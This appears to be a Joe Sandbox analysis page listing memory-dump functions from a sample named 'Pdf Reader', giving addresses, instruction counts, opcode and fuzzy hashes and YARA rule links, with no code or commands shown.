Source File: 0000000E.00000002.2049903222.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 579bd938e22ec62cda491f66cf2666a0e904eab4a3076eab5593567f241be52f
Instruction ID: b86cea2c5d2bab3f1597d253a71b28d5836f81adeb21e63d62c39c5a8066aaee
Opcode Fuzzy Hash: 579bd938e22ec62cda491f66cf2666a0e904eab4a3076eab5593567f241be52f
Instruction Fuzzy Hash: F6E27730B0878E8FE709DB6CD564A587FB1EF4A344F5641E9E059CB2E7CE2AA844C711

Function 00007FFD9B7D7D56 Relevance: .5, Instructions: 469COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2049903222.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46c75420ee8f8091024a22bd96d0547e7489e73f4204f098dfb330af8a659ca3
Instruction ID: f8640782e4bec3756f667f88f1cf26f6f3a10ef3cecf6de36745c661eca0af53
Opcode Fuzzy Hash: 46c75420ee8f8091024a22bd96d0547e7489e73f4204f098dfb330af8a659ca3
Instruction Fuzzy Hash: FAF1A430A19A4D8FEBA8DF28C855BE977D1FF94310F14436EE84DC72A5CB3499458B82

Function 00007FFD9B7D8B02 Relevance: .5, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2049903222.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24af2aa74fcc92a1579007cba364328929c18a3fe0f6a71624a3d14637f7f2d5
Instruction ID: 5a07da50132fd370025001f5bf415c3ab2bc0fe574f26b3a290326a9b8da560c
Opcode Fuzzy Hash: 24af2aa74fcc92a1579007cba364328929c18a3fe0f6a71624a3d14637f7f2d5
Instruction Fuzzy Hash: CFE1B230A09A4E8FEBA8DF28C8557E977D1FB94310F14436ED84DC72E5CA74A9458B81

Function 00007FFD9B7D04E8 Relevance: 2.9, Strings: 2, Instructions: 396COMMON

Download Yara Rule

Strings

<O_^, xrefs: 00007FFD9B7D0801
O_^, xrefs: 00007FFD9B7D0772

Memory Dump Source

Source File: 0000000E.00000002.2049903222.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID: <O_^$O_^
API String ID: 0-2594085055
Opcode ID: 598c64f6db8eacd3dcb38a49da3ce704ed75ef6d4ee9ff2f87150420255b15cf
Instruction ID: c22bffbfdf14e6737b031cf826115160204ccd0f97e8bb952d49c6fae79508df
Opcode Fuzzy Hash: 598c64f6db8eacd3dcb38a49da3ce704ed75ef6d4ee9ff2f87150420255b15cf
Instruction Fuzzy Hash: 42C13857F0F6C50BE325AABC28750E93F60EFC26A970943F7D0DD4A0F7AC04694A8295

Function 00007FFD9B7D0530 Relevance: 2.9, Strings: 2, Instructions: 359COMMON

Download Yara Rule

Strings

<O_^, xrefs: 00007FFD9B7D0801
O_^, xrefs: 00007FFD9B7D0772

Memory Dump Source

Source File: 0000000E.00000002.2049903222.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID: <O_^$O_^
API String ID: 0-2594085055
Opcode ID: 4008379f4fea475fac1edccbce7f8a69b3f5c636a9ad48d027ee1bf5a77ea09e
Instruction ID: 7acc9546e45561a0b9a1ce58f6ad69558b7f3a2f71eb3bb08be14144ecf7fc68
Opcode Fuzzy Hash: 4008379f4fea475fac1edccbce7f8a69b3f5c636a9ad48d027ee1bf5a77ea09e
Instruction Fuzzy Hash: D1B10757A0F6C50BE3256ABC28354F93F60EFC26A970953F7D0DD4A0F7AC08694AC295

Function 00007FFD9B7D06FA Relevance: 2.7, Strings: 2, Instructions: 178COMMON

Download Yara Rule

Strings

<O_^, xrefs: 00007FFD9B7D0801
O_^, xrefs: 00007FFD9B7D0772

Memory Dump Source

Source File: 0000000E.00000002.2049903222.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID: <O_^$O_^
API String ID: 0-2594085055
Opcode ID: da95c3c30963c77b4aba7ad31770fccd62bf1cd3f40fc21167af20d0d27a7449
Instruction ID: 2e2458440a22a573f7294847c96e590a70cc7b07b03aa8663c6f7117124d75d8
Opcode Fuzzy Hash: da95c3c30963c77b4aba7ad31770fccd62bf1cd3f40fc21167af20d0d27a7449
Instruction Fuzzy Hash: 53514A67E0F2D50BD711B76868750E93F60EF8166D70E83F2D0AD4E0A3EC08254EC685

Function 00007FFD9B7D06D3 Relevance: 2.7, Strings: 2, Instructions: 153COMMON

Download Yara Rule

Strings

<O_^, xrefs: 00007FFD9B7D0801
O_^, xrefs: 00007FFD9B7D0772

Memory Dump Source

Source File: 0000000E.00000002.2049903222.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID: <O_^$O_^
API String ID: 0-2594085055
Opcode ID: 0de95181dfabb1085be80bfe5e8e371d9291dd46e1ad0d9491d042b7a95a4d6b
Instruction ID: 1f059a9db26185ae6d32f6a0b302f03f00a320cf1d87030ac3dde08168afedea
Opcode Fuzzy Hash: 0de95181dfabb1085be80bfe5e8e371d9291dd46e1ad0d9491d042b7a95a4d6b
Instruction Fuzzy Hash: 13414763A0F6D54FD712A7686C760E93B60EF8165D70A82F6C09D8E0A3ED18355EC684

Function 00007FFD9B7DA5C8 Relevance: 1.9, Strings: 1, Instructions: 695COMMON

Download Yara Rule

Strings

{ O_^, xrefs: 00007FFD9B7DA786

Memory Dump Source

Source File: 0000000E.00000002.2049903222.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID: { O_^
API String ID: 0-2881314355
Opcode ID: 4936150f75018a3c67c8090c42416e8c814cc118a05981d0d7313a38cd12521f
Instruction ID: 2d93ce559ba4b3510b84a29c6ad2dcd7ed53a5a8a074a76c102156bbd6c8ddc2
Opcode Fuzzy Hash: 4936150f75018a3c67c8090c42416e8c814cc118a05981d0d7313a38cd12521f
Instruction Fuzzy Hash: CE324B30A0978E8FEB95DF28C460AA97BB1FF86340F1542F8D459CB2F6CA35A945C750

Function 00007FFD9B7D0770 Relevance: 1.4, Strings: 1, Instructions: 126COMMON

Download Yara Rule

Strings

<O_^, xrefs: 00007FFD9B7D0801

Memory Dump Source

Source File: 0000000E.00000002.2049903222.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID: <O_^
API String ID: 0-1368354704
Opcode ID: 939f779d26a92a418c3bf676dfa2100bc4c63eef684cb5d0015803dc6737baa2
Instruction ID: 62e10b18b195d78b6d4e05f18576aec167191e98791ad68519beeab8083479d1
Opcode Fuzzy Hash: 939f779d26a92a418c3bf676dfa2100bc4c63eef684cb5d0015803dc6737baa2
Instruction Fuzzy Hash: 43313523E0F2D60BD712A77868750E93F60EF8265D70E82F7D0AC4E0A3EC18255EC685

Function 00007FFD9B7D07B0 Relevance: 1.4, Strings: 1, Instructions: 106COMMON

Download Yara Rule

Strings

<O_^, xrefs: 00007FFD9B7D0801

Memory Dump Source

Source File: 0000000E.00000002.2049903222.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID: <O_^
API String ID: 0-1368354704
Opcode ID: 62896eb585714f722cc4e37b2de9084a6d956bea8879c238ef2bda8c7cba24e3
Instruction ID: 6210312baf52bc76e5aae3ce8c585d9341699466af175bf6f311f8c0affcdc32
Opcode Fuzzy Hash: 62896eb585714f722cc4e37b2de9084a6d956bea8879c238ef2bda8c7cba24e3
Instruction Fuzzy Hash: D4314517E0F3D51BD312667868754E93F60EF8265970E83FBD09C4E0A39D08251DC691

Function 00007FFD9B7D0955 Relevance: .7, Instructions: 655COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2049903222.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1eae174a515478c6cedcc203cba8b61b0815f1fa988347f218d43dc0776ed754
Instruction ID: e196056be2a54a1f120b9351ae6b783090e52bb8b2620a3131181fa1e957018a
Opcode Fuzzy Hash: 1eae174a515478c6cedcc203cba8b61b0815f1fa988347f218d43dc0776ed754
Instruction Fuzzy Hash: FE225E70609B898FE74ADB2CD4609117FB1EF5B34436605DAD0A9CF2B7CA37A884DB11

Function 00007FFD9B7DBE22 Relevance: .6, Instructions: 570COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2049903222.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 259b58ffaa2b34cf79532431485d1491cdb14556a98bde32d6425014cf3d03a0
Instruction ID: ebad236ef8694cd9a6ad743671cf7240ff36808f1c273a253b615a0290e40576
Opcode Fuzzy Hash: 259b58ffaa2b34cf79532431485d1491cdb14556a98bde32d6425014cf3d03a0
Instruction Fuzzy Hash: 8B124A30A09B4E8FDB59DF28C860AA977F1FF99340F1502ADD45DCB2A6CE35A946C740

Function 00007FFD9B7DB401 Relevance: .6, Instructions: 553COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2049903222.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cedcc6dcac96d317b12aceb2680da53cc551c6d9173bbb9bd8f5ec07588318e2
Instruction ID: 9f10c1951a410574d86fe0c06d1df416fba2b933dc8b9c875c165893b3df1eda
Opcode Fuzzy Hash: cedcc6dcac96d317b12aceb2680da53cc551c6d9173bbb9bd8f5ec07588318e2
Instruction Fuzzy Hash: AB022A30A0974D8FE755DF38C461999BFB1EF8A340B5502FAC059CB2F6CA3AA846C751

Function 00007FFD9B7DEA21 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2049903222.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55d90800592adf3effb3c545ba6033d80d459f09e78f4bc01288963353efd53e
Instruction ID: e518650f9a2f61e775e5879227d5f182cda93986a68adb20ef60e25650099993
Opcode Fuzzy Hash: 55d90800592adf3effb3c545ba6033d80d459f09e78f4bc01288963353efd53e
Instruction Fuzzy Hash: 16E11730B09B0E8FEB66EB68846467877E1EF89344F5203B9D45DC72F2CE29A905C741

Function 00007FFD9B7D9A90 Relevance: .4, Instructions: 397COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2049903222.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30d8e1273bc7dbf5e7d115e1482ba4e4d20330945715c4c16aa501dc3e820046
Instruction ID: 4367ec416d926a1c8e43b021f1ae5ffb8472252b0d484bebe77adc6af9e55430
Opcode Fuzzy Hash: 30d8e1273bc7dbf5e7d115e1482ba4e4d20330945715c4c16aa501dc3e820046
Instruction Fuzzy Hash: 61B12922B0DE4E0FDBA8DB6C98A89B573D1EFD835074503BAD44DC72AADD14ED468380

Function 00007FFD9B7DE11C Relevance: .4, Instructions: 376COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2049903222.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1cd04f26726b85d47f6889a8abe45e634bae7212204836b59c3ef7ae6c4e806
Instruction ID: fe6642809eb179c4bf3ccb4c5fa7c2a50d4c0d52bed960e216a858708d9bbbdc
Opcode Fuzzy Hash: e1cd04f26726b85d47f6889a8abe45e634bae7212204836b59c3ef7ae6c4e806
Instruction Fuzzy Hash: 0CC10A30B09B0E8FEB55DF68C4605E97BB1EF89344B1202BAD41DCB1B6CE39A946C751

Function 00007FFD9B7DB588 Relevance: .4, Instructions: 368COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2049903222.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83d9483f07827797bfb6c6d3ae17d3ff94f3993658cf25cb7178371ab95cc393
Instruction ID: 49ed8574ab3078c59c4e14314087bc2f70924d80a03ffbe1aa7fe941ce030c6a
Opcode Fuzzy Hash: 83d9483f07827797bfb6c6d3ae17d3ff94f3993658cf25cb7178371ab95cc393
Instruction Fuzzy Hash: CED18730A0974ECFEB45DF28C450999BFB1FF4A344B5505E9D059CB2BACA36A881CB51

Function 00007FFD9B7D8716 Relevance: .3, Instructions: 328COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2049903222.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46da831d587828ad5cb20fe538ba2ceee4fd85cd328028fb20491c2ae5b1f9b5
Instruction ID: 47fd2b376c938dd4fe72af956094dc4c9911bd7f1a3ad594605d312166007613
Opcode Fuzzy Hash: 46da831d587828ad5cb20fe538ba2ceee4fd85cd328028fb20491c2ae5b1f9b5
Instruction Fuzzy Hash: B2B1E530619B4D4FEB68DF28C855BE93BD1FF55350F04436EE84DC72A5CA34A9458B82

Function 00007FFD9B7D3C20 Relevance: .3, Instructions: 279COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2049903222.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e35432c9d0bb09c3bd7c0aec431b576e7bf1d133db1bcda7cb111d56b6a64772
Instruction ID: 9aef41efad2e0dcf4ab9083217eed44743ff1e86d679f62f71df8065175cea10
Opcode Fuzzy Hash: e35432c9d0bb09c3bd7c0aec431b576e7bf1d133db1bcda7cb111d56b6a64772
Instruction Fuzzy Hash: 02811630B09A4D8FE749A77C8429A687BE2EF99344F1602F9E01DC72F6DD25AC058711

Function 00007FFD9B7D9E65 Relevance: .2, Instructions: 249COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2049903222.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a578c7775d084032086ae428955aa23c613f1c3eb751577c27dc7ac64b88fd69
Instruction ID: 46d37a81d8edf9999f90b2e5d14704d68a03bac4890e44b7f3d3d044be0e3139
Opcode Fuzzy Hash: a578c7775d084032086ae428955aa23c613f1c3eb751577c27dc7ac64b88fd69
Instruction Fuzzy Hash: 8F711A70B1990C9FDF94EB6CD498EA97BF1EFA9301B0501A5E04DD72A2DA74EC41CB40

Function 00007FFD9B7DBA1E Relevance: .2, Instructions: 245COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2049903222.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96ee4f0ee8ce84f16a2b7d05685290cf5e0dfc1fc3c55e5d6b5748b0d3f96b60
Instruction ID: 0d6e1c8f9c9a2a9117f5ee16badddb1796ad2b9b51f31d788e7ed5873208de58
Opcode Fuzzy Hash: 96ee4f0ee8ce84f16a2b7d05685290cf5e0dfc1fc3c55e5d6b5748b0d3f96b60
Instruction Fuzzy Hash: 9B713A70A0EB8E4FD756DB6888245A97BA1FFC635070947FAD059CF2F6CA286909C340

Function 00007FFD9B7D9E80 Relevance: .2, Instructions: 242COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2049903222.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0001e508654bd2f332e6c8a43be21fa2177c62a0e8200017558ad213434e04f4
Instruction ID: 66a02bb288c18bdcc29106d0c935e263fea16e023e0b5715132be9be186df314
Opcode Fuzzy Hash: 0001e508654bd2f332e6c8a43be21fa2177c62a0e8200017558ad213434e04f4
Instruction Fuzzy Hash: 5271FB71B1990C9FDF94EB6CD498EA97BF1EFA9301B0501A9E04DD72A2DA74EC41CB40

Function 00007FFD9B7DC8B2 Relevance: .2, Instructions: 223COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2049903222.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30fe1b12fb4bdbbfb7f383bce747ef327b3c81e9529077c6d9c062ef2110c19f
Instruction ID: b78023b694bb712c4b041e2e638a0495f250d73dace50a7bd02077950b358b36
Opcode Fuzzy Hash: 30fe1b12fb4bdbbfb7f383bce747ef327b3c81e9529077c6d9c062ef2110c19f
Instruction Fuzzy Hash: 63615D32F0DB8A5FE7699BB848295A87BE0FF91350F0943BBD458D70E7DD1868458381

Function 00007FFD9B7DE529 Relevance: .2, Instructions: 211COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2049903222.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 268b775c44a762a4496d4403ca8b5de46c32fe8362e386043e1f04710131c3fe
Instruction ID: 54fd636822c88841e8ef39cbdf175c9f267573f5319d7075b6e0096d3d420b70
Opcode Fuzzy Hash: 268b775c44a762a4496d4403ca8b5de46c32fe8362e386043e1f04710131c3fe
Instruction Fuzzy Hash: 5A613B30A0D78E8FEB42DB78C4645A57FF1EF8A354B1501FAD059CB1B7CA2AA846C711

Function 00007FFD9B7D3CBB Relevance: .2, Instructions: 211COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2049903222.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31603e1f72d8ac7a299abcab6b8ab7de86d57aa8fd047ff5b5347240efcd2f0c
Instruction ID: a78c7004257fdb961f86cf755c3c0dbf7543e67e80eff906049fcb8c94e6e585
Opcode Fuzzy Hash: 31603e1f72d8ac7a299abcab6b8ab7de86d57aa8fd047ff5b5347240efcd2f0c
Instruction Fuzzy Hash: 4C51A420B19A498FE749B77C9429B6876E2EFD9344F1642F9E01DC72F7CD29AC018712

Function 00007FFD9B7D523C Relevance: .2, Instructions: 194COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2049903222.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1dc1c6a1599752a22f82225e909bebe541415af5e269af2b214c9ef5c3f1d670
Instruction ID: d070fdbe46ca26a75a3efc03fa21eaf05795c7cf459f9561b2614ed14c0ceccd
Opcode Fuzzy Hash: 1dc1c6a1599752a22f82225e909bebe541415af5e269af2b214c9ef5c3f1d670
Instruction Fuzzy Hash: 7B519230908A5C8FDB58DF58D855BE9BBF1FB59310F0082AAD40DD3296DE34A9858F81

Function 00007FFD9B7DF461 Relevance: .2, Instructions: 192COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2049903222.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b12d4909987abe86f4e8b67b77d3f292989b97a6c2665646095ca8af21985722
Instruction ID: fbb91d13004b510e3b6b688b34ba1b23473d622cf537f46e65d56bc334459454
Opcode Fuzzy Hash: b12d4909987abe86f4e8b67b77d3f292989b97a6c2665646095ca8af21985722
Instruction Fuzzy Hash: AB51463170D70A8FE719EF68D4619E57BE1EF8A350B1505FAD05ACB0A2CA2AA846C710

Function 00007FFD9B7DF825 Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2049903222.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2609f091f6bb63ac949144c86ec40513a7605ba8d731ad8034c9670fc1cd1dd4
Instruction ID: 24b69ba0b99a36cf5c5b1bd5b7299cad8a8c7dfda4f1b5aa338950318238d751
Opcode Fuzzy Hash: 2609f091f6bb63ac949144c86ec40513a7605ba8d731ad8034c9670fc1cd1dd4
Instruction Fuzzy Hash: 9451C630B09A4D8FEB95EB6884246A97BF1EF8A344B5505F6D05CCF1B6CE399944C701

Function 00007FFD9B7D37D2 Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2049903222.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c86f9074bd9006b61213bb289434626341fc39aba21e79a274b2088f0616855
Instruction ID: 95728533775443127b6816ef8f14c55d7929a0a55d74d521274a78411d8cd829
Opcode Fuzzy Hash: 0c86f9074bd9006b61213bb289434626341fc39aba21e79a274b2088f0616855
Instruction Fuzzy Hash: 63612570E1995D4FEB98EB588869BE8B7B1FF98300F0102F5D05DD32A6DE346E818B51

Function 00007FFD9B7D29A9 Relevance: .2, Instructions: 177COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2049903222.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61dfadaad5bebbb26f21f914348bac4314120f269e09c1a9f3ec39e9647d9d6f
Instruction ID: 5e39af4a0a6597fc557a8074545106dc60fd867d9ef3ea00fa0928aef23083fd
Opcode Fuzzy Hash: 61dfadaad5bebbb26f21f914348bac4314120f269e09c1a9f3ec39e9647d9d6f
Instruction Fuzzy Hash: 8D516571E19A4D4EEBA4DF6888797E8B7A1FFA8300F0502F5944CD32A2DE3429818B41

Function 00007FFD9B7D26FA Relevance: .2, Instructions: 172COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2049903222.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4045dd1f73c2869354003ef01aa818a685dc535fcdd36a646cd159218dae19e0
Instruction ID: dacceb55df98ce81232263d39ff67553592c03a7e0aedc00aff672f6e18cc357
Opcode Fuzzy Hash: 4045dd1f73c2869354003ef01aa818a685dc535fcdd36a646cd159218dae19e0
Instruction Fuzzy Hash: D6515962F0E68E0FDB559FBCC8645E87F70EF85284B4502FAE059DB1E7CD18680A8751

Function 00007FFD9B7DCC7D Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2049903222.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7dca0bca236afe65badbeecb39cf3b617c4c4a9214547c15fae125bb087ca92d
Instruction ID: 63236e16f4a0ebca22cedc71890a7550e9ee2a864800edb5630accf18785a1ce
Opcode Fuzzy Hash: 7dca0bca236afe65badbeecb39cf3b617c4c4a9214547c15fae125bb087ca92d
Instruction Fuzzy Hash: E8518D70918B1C8FDB58EF98D845AEDBBF1FB98310F04826AD44DD7256CA34A845CBC2

Function 00007FFD9B7DA508 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2049903222.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fb647bb98f93b077be866e264cb0bd6ba855cc727272fee32d6912d7325239
Instruction ID: 584397c6a5a6d72ae92a6e4033bfccaafd0ec73a399ee75089d47cb8bf492169
Opcode Fuzzy Hash: 80fb647bb98f93b077be866e264cb0bd6ba855cc727272fee32d6912d7325239
Instruction Fuzzy Hash: 8A41C331E1CE1D4FEB68EB68985AABD77E1EFD8350F01027AE40ED32A5DD2468454781

Function 00007FFD9B7D3EEA Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2049903222.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7684ae4012fa36253e7bdbccaee2b43271f802dc1bc108036b1d494956479ffe
Instruction ID: 3da436a3492906fb9437b60bf07c73146e8b98342c4e81d58761b5241351786f
Opcode Fuzzy Hash: 7684ae4012fa36253e7bdbccaee2b43271f802dc1bc108036b1d494956479ffe
Instruction Fuzzy Hash: 20412B31A0EB4D8FEB61DBB898245AC7BF0FF89340B0606FAD44DC71B2CA296945C751

Function 00007FFD9B7D25D8 Relevance: .1, Instructions: 128COMMON

Download Yara Rule
